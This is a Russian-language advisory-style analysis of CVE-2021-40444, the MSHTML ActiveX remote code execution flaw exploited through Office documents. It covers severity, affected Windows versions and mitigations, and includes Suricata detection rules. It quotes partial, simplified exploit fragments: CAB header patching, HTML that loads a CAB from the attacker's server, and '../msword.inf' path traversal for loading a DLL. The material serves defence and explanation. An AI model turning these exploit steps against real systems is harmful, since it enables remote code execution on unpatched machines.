
Уязвимость BDU:2021-04442 (CVE-2021-40444) MSHTML Windows
Уязвимость BDU:2021-04442 (CVE-2021-40444) в механизме MSHTML (движок Internet Explorer), связанная с некорректной обработкой объектов ActiveX в документах Microsoft Office. Злоумышленник может создать специальный документ (Word, Excel и др.), который при открытии загружает и выполняет произвольный код через уязвимый компонент MSHTML.
Анализ уязвимости
Уровень опасности: 8.8 HIGH
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
-
AV:N (Attack Vector: Network) - Атака через сеть
-
AC:L (Attack Complexity: Low) - Низкая сложность эксплуатации
-
PR:N (Privileges Required: None) - Не требуются привилегии
-
UI:R (User Interaction: Required) - Требуется взаимодействие пользователя (открытие файла)
-
S:C (Scope: Changed) - Изменение безопасности соседних компонентов
-
C:L (Confidentiality: Low) - Частичная компрометация конфиденциальности
-
I:H (Integrity: High) - Полная компрометация целостности
-
A:L (Availability: Low) - Частичная компрометация доступности
Условия эксплуатации
-
Пользователь открывает специально созданный документ Office (DOCX, RTF)
-
Система не имеет установленных обновлений безопасности (патч от сентября 2021)
-
В системе включен уязвимый компонент MSHTML (по умолчанию активен)
Уязвимые версии ОС
- Windows 7 SP1 32-bit
- Windows 7 SP1 64-bit
- Windows 8.1 32-bit
- Windows 8.1 64-bit
- Windows 8.1 RT ARM
- Windows 10 1607 32-bit
- Windows 10 1607 64-bit
- Windows 10 1809 32-bit
- Windows 10 1809 64-bit
- Windows 10 1809 ARM64
- Windows 10 1909 32-bit
- Windows 10 1909 64-bit
- Windows 10 1909 ARM64
- Windows 10 2004 32-bit
- Windows 10 2004 64-bit
- Windows 10 2004 ARM64
- Windows 10 20H2 32-bit
- Windows 10 20H2 64-bit
- Windows 10 20H2 ARM64
- Windows 10 21H1 32-bit
- Windows 10 21H1 64-bit
- Windows 10 21H1 ARM64
- Windows 10 32-bit
- Windows 10 64-bit
- Windows Server 2004 Server Core Installation
- Windows Server 2008 R2 SP1 Server Core installation 64-bit
- Windows Server 2008 R2 SP2 64-bit
- Windows Server 2008 SP2 32-bit
- Windows Server 2008 SP2 64-bit
- Windows Server 2008 SP2 Server Core installation 32-bit
- Windows Server 2008 SP2 Server Core installation 64-bit
- Windows Server 2012
- Windows Server 2012 R2
- Windows Server 2012 R2 Server Core installation
- Windows Server 2012 Server Core installation
- Windows Server 2016
- Windows Server 2016 Server Core installation
- Windows Server 2019
- Windows Server 2019 Server Core installation
- Windows Server 2022
- Windows Server 2022 Server Core installation
- Windows Server 20H2 Server Core Installation
Технический анализ эксплоитов
Рассмотрим код эксплоитов для понимания работы вектора атаки с использованием этой уязвимости.
1. Metasploit-модуль (Ruby)
Ключевые этапы работы:
def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Office Word Malicious MSHTML RCE', 'References' => [['CVE', '2021-40444']], 'Targets' => [['Hosted', {}]], 'Payload' => {'DisableNops' => true} )) end def create_cab(data) # Формирование вредоносного CAB-архива с подменой контрольных сумм cab_header = "\x4D\x53\x43\x46" # Сигнатура MSCF cab_header << "\x00\x00\x00\x00" cab_header << [data.length + 1073741824].pack('L<') # Искусственное увеличение размера # ... манипуляции с заголовками CAB end def generate_html # Генерация HTML с эксплойтом ActiveX js_content.gsub!('REPLACE_URI', "#{srvhost}/exploit.cab") html = '<!DOCTYPE html><script>ActiveXObject("htmlfile");</script>' end
Механизм атаки:
-
Создает DOCX с внедренной ссылкой на HTML-эксплойт
-
HTML инициализирует ActiveX-объект, загружающий вредоносный CAB
-
CAB содержит DLL с шелл-кодом, которая исполняется через уязвимость MSHTML
2. Python-эксплойт
def patch_cab(path): with open(path, 'rb') as f: cab = f.read() # Патчинг заголовка CAB для обхода проверок patched = cab[:0x2d] + b'\x00\x5c\x41\x00' + cab[0x31:] patched = patched.replace(b'..\\msword.inf', b'../msword.inf')
Особенности:
-
Использует легитимный DOCX-шаблон
-
Подменяет пути в CAB-архиве (
../msword.inf
) -
Использует обходные пути (
./../../
) для загрузки DLL
Защитные меры
1. Базовые меры
-
Установка обновлений:
Патчи от сентября 2021 -
Отключение ActiveX:
Групповая политика:
User Configuration → Administrative Templates → Microsoft Office → Security Settings → Disable ActiveX
2. Сетевые контрмеры (Suricata/Snort)
# Блокировка CAB с подозрительными путями alert http any any -> any any ( msg:"CVE-2021-40444: Malicious CAB Pattern"; flow:established,to_client; file_data; content:"../"; depth:3; content:"msword.inf"; distance:0; metadata:policy security-ips; sid:1000001; ) # Обнаружение MHTML-эксплойтов alert http any any -> any any ( msg:"CVE-2021-40444: Suspicious MHTML Object"; content:"mhtml:"; content:".docx!x-usc"; metadata:policy security-ips; sid:1000002; )
3. Дополнительные меры
-
ASR Rules:
Включить правило "Блокирование выполнения потенциально опасных исполняемых файлов" -
Контроль целостности:
Регулярная верификация системных файлов:
sfc /scannow
+Get-FileHash -Path C:\windows\system32\mshtml.dll
-
Sandboxing:
Использование Microsoft Defender Application Guard для Office
Заключение
BDU:2021-04442 (CVE-2021-40444) демонстрирует критическую уязвимость в цепочке обработки ActiveX-объектов. Хотя патчи выпущены, атаки остаются актуальными из-за:
-
Пробелов в обновлении корпоративных сред
-
Использования социальной инженерии (фишинговые документы)
-
Легкости адаптации эксплойтов под новые форматы
Комбинированная защита (патчи + сетевые правила + политики ограничения) критически важна, особенно для организаций, использующих устаревшие ОС из списка уязвимых версий.
